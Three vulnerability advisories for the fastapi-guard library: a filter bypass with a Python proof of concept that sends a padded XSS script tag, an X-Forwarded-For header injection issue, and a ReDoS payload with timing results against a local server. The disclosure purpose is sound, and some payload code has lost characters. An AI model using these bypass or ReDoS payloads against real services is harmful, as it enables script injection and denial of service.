Summary

The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.

Details

In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f

This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. r"<script[^>]>[^<]<\\/script\\s>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>

This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.

PoC

1. clone the fastapi-guard repository 2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. <img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" /> 3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.

python import requests

URL = "<http://localhost:8000>"

obviouspayload = { "obvious" : "<script>alert(1);</script>" } response = requests.post(url=URL, json=obviouspayload) print(f"[+] response of first request: {response.text}")

bypassedpayload = { "suspicious" : f'<script id="icanbypassregexfiltering{'a'100}">alert(1)</script>' }

response = requests.post(url=URL, json=bypassedpayload) print(f"[+] response of second request: {response.text}")

<img width="836" height="112" alt="image" src="https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7" />

Impact

Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.

FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. An HTTP header injection vulnerability has been identified in versions prior to 2.0.0. By manipulating the X-Forwarded-For header, an attacker can potentially inject arbitrary IP addresses into the request. This vulnerability can allow attackers to bypass IP-based access controls, mislead logging systems, and impersonate trusted clients. It is especially impactful when the application relies on the X-Forwarded-For header for IP-based authorization or authentication. Users should upgrade to FastAPI Guard version 2.0.0 to receive a fix.

Summary

fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.

It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.

PoC

e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatternshandler.py#L31C79-L32C7

python payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('n # complexity: O(n^5)

print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120 print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637 print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)

Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.

Impact

Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enablepenetrationdetection=False are vulnerable to DoS.